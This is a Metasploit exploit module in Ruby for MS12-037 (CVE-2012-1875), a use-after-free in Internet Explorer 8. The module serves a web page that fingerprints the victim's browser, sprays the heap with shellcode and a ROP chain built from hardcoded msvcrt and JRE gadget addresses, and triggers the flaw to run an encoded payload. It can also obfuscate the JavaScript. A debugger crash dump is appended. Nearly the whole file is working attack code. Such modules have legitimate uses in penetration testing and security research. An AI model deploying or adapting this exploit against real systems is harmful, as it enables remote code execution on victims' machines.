##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS12-037 Microsoft Internet Explorer Same ID Property Deleted Object Handling Memory Corruption",
      'Description'    => %q{
          This module exploits a memory corruption flaw in Internet Explorer 8 when
        handling objects with the same ID property. At the moment this module targets
        IE8 over Windows XP SP3 and Windows 7. This module supports heap massaging
        as well as the heap spray method seen in the wild (Java msvcrt71.dll).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Dark Son',    # Vulnerability discovery
          'Unknown',     # Credited to both Qihoo 360 Security Center and Google, Inc. for Vulnerability discovery
          'Yichong Lin', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'MSB', 'MS12-037'],
          [ 'CVE', '2012-1875' ],
          [ 'OSVDB', '82865'],
          [ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/ongoing-attacks-exploiting-cve-2012-1875/'],
          [ 'URL', 'https://twitter.com/binjo/status/212795802974830592' ], # Exploit found in the wild
          [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/06/18/metasploit-exploits-critical-microsoft-vulnerabilities']
        ],
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00",
          'DisableNops' => true
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [
            'IE 8 on Windows XP SP3 with msvcrt ROP',
            {
              'Rop'    => :msvcrt,
              'RopOffset' => '0x5f4',
              'Ret'    => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt.dll
            }
          ],
          [
            'IE 8 on Windows XP SP3 with JRE ROP',
            {
              'Rop'    => :jre,
              'RopOffset' => '0x5f4',
              'Ret'    => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
            }
          ],
          [
            'IE 8 on Windows 7 SP1/Vista SP2 with JRE ROP',
            {
              'Rop'    => :jre,
              'RopOffset' => '0x5f4',
              'Ret'    => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Jun 12 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ])

  end

  def get_target(agent)
    # If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
      # Windows XP SP3 + IE 8.0
      return targets[1]
    elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8\.0/
      # Windows 7 SP1 + IE 8.0
      # Vista SP2 + IE 8.0
      return targets[3]
    else
      return nil
    end
  end

  def ret(t)
    case t['Rop']
    when :msvcrt
      return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
    when :jre
      return [ 0x7c347f98 ].pack("V") # RETN (ROP NOP) # msvcr71.dll
    end
  end

  def popret(t)
    case t['Rop']
    when :msvcrt
      return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll
    when :jre
      return [ 0x7c376541 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcr71.dll
    end
  end

  def get_rop_chain(t)
    pivot = ret(t) * 27
    pivot << popret(t)
    pivot << [t.ret].pack("V") # stackpivot

    case t['Rop']
    when :msvcrt
      print_status("Using msvcrt ROP")
      rop = generate_rop_payload('msvcrt', '', {'target'=>'xp', 'pivot'=>pivot})

    else
      print_status("Using JRE ROP")
      rop = generate_rop_payload('java', '', {'pivot'=>pivot})
    end

    return rop

  end

  def on_request_uri(cli, request)

    agent = request.headers['User-Agent']
    my_target = get_target(agent)

    # Avoid the attack if the victim doesn't have the same setup we're targeting
    if my_target.nil?
      print_error("Browser not supported: #{agent}")
      send_not_found(cli)
      return
    end

    print_status("Client requesting: #{request.uri}")

    p = payload.encoded

    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
    js_padding = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(my_target.arch))
    js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
    js_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

    js_spray = <<-JS
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var rop_chain = unescape("#{js_rop}");
    var random = unescape("#{js_padding}");
    var nops = unescape("#{js_nops}");

    while (random.length < 0x80000) random += random;
    while (nops.length < 0x80000) nops += nops;

    var padding = random.substring(0, #{my_target['RopOffset']}-code.length);
    var shellcode = code + padding + rop_chain + nops.substring(0, 0x800-code.length-padding.length-rop_chain.length);

    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);

    heap_obj.gc();
    for (var z=1; z < 0x385; z++) {
      heap_obj.alloc(block);
    }
    JS

    js_spray = heaplib(js_spray, {:noobfu => true})

    trigger_f = "trigger"
    feng_shui_f = "feng_shui"
    crash_f = "crash"
    unescape_f = "do_unescape"
    main_f = "main"
    a_id = "MyA"
    danger_id = "imgTest"

    if datastore['OBFUSCATE']
      js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
      js_spray.obfuscate

      trigger_f = rand_text_alpha(rand(5) + 4)
      feng_shui_f = rand_text_alpha(rand(5) + 4)
      crash_f = rand_text_alpha(rand(5) + 4)
      unescape_f = rand_text_alpha(rand(5) + 4)
      main_f = rand_text_alpha(rand(5) + 4)
      a_id = rand_text_alpha(rand(5) + 4)
      danger_id = rand_text_alpha(rand(5) + 4)
    end

    html = %Q|
      <HTML>
      <BODY>
      <title></title>
      <DIV id=testfaild>
        <img id="#{danger_id}" style="display:none">
        <a href="javascript:#{feng_shui_f}();" id="#{a_id}" onClick="#{feng_shui_f}();">
        <div style="background-color:#FFFFFF; width:30; height:40" id="#{danger_id}" src="" onMouseOver="#{crash_f}();" onMouseOut="#{crash_f}();">
        </div>
        </a>
      </DIV>
      <SCRIPT LANGUAGE="JavaScript">
      function #{unescape_f}(dword) {
        var t = unescape;
        var d = Number(dword).toString(16);
        while (d.length < 8) d = '0' + d;
        return t('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
      }
      function #{feng_shui_f}() {
        var tag = 0x1c1c1c0c;
        var vtable1 = #{unescape_f}(tag) + '1234567555555555588888888';
        var divs = new Array();
        for (var i = 0; i < 128; i++) divs.push(document.createElement('div'));
        testfaild.innerHTML = testfaild.innerHTML;
        divs[0].className = vtable1;
        divs[1].className = vtable1;
        divs[2].className = vtable1;
        divs[3].className = vtable1;
      }
      function #{crash_f}() {
        eval("#{danger_id}").src = "";
      }
      function #{trigger_f}() {
        var x = document.getElementsByTagName("div");
        var fireOnThis = document.getElementById("#{a_id}");
        if (document.createEvent) {
          evObj = document.createEvent('MouseEvents');
          evObj.iniEvent('click', true, false);
          fireOnThis.dispatchEvent(evObj);
        } else if (document.createEventObject) {
          x[1].fireEvent('onMouseOver');
          fireOnThis.fireEvent('onclick');
          x[1].fireEvent('onMouseOut');
        }
      }
      function #{main_f}() {

        #{js_spray}
        setTimeout("#{trigger_f}();", 1000);

      }
      #{main_f}();
      </SCRIPT>
      </BODY>
      </HTML>
    |

    html = html.gsub(/^ {6}/, '')

    print_status("Sending html")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end

end


=begin
* crash
(a9c.998): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export
symbols for C:\WINDOWS\system32\mshtml.dll -
eax=1c1c1c0c ebx=00000000 ecx=02fdf588 edx=00000001 esi=02fdf588 edi=020bbaf0
eip=6363fcc6 esp=020bba88 ebp=020bba94 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!DllGetClassObject+0xafd09:
6363fcc6 8b5070          mov     edx,dword ptr [eax+70h]
ds:0023:1c1c1c7c=????????
=end
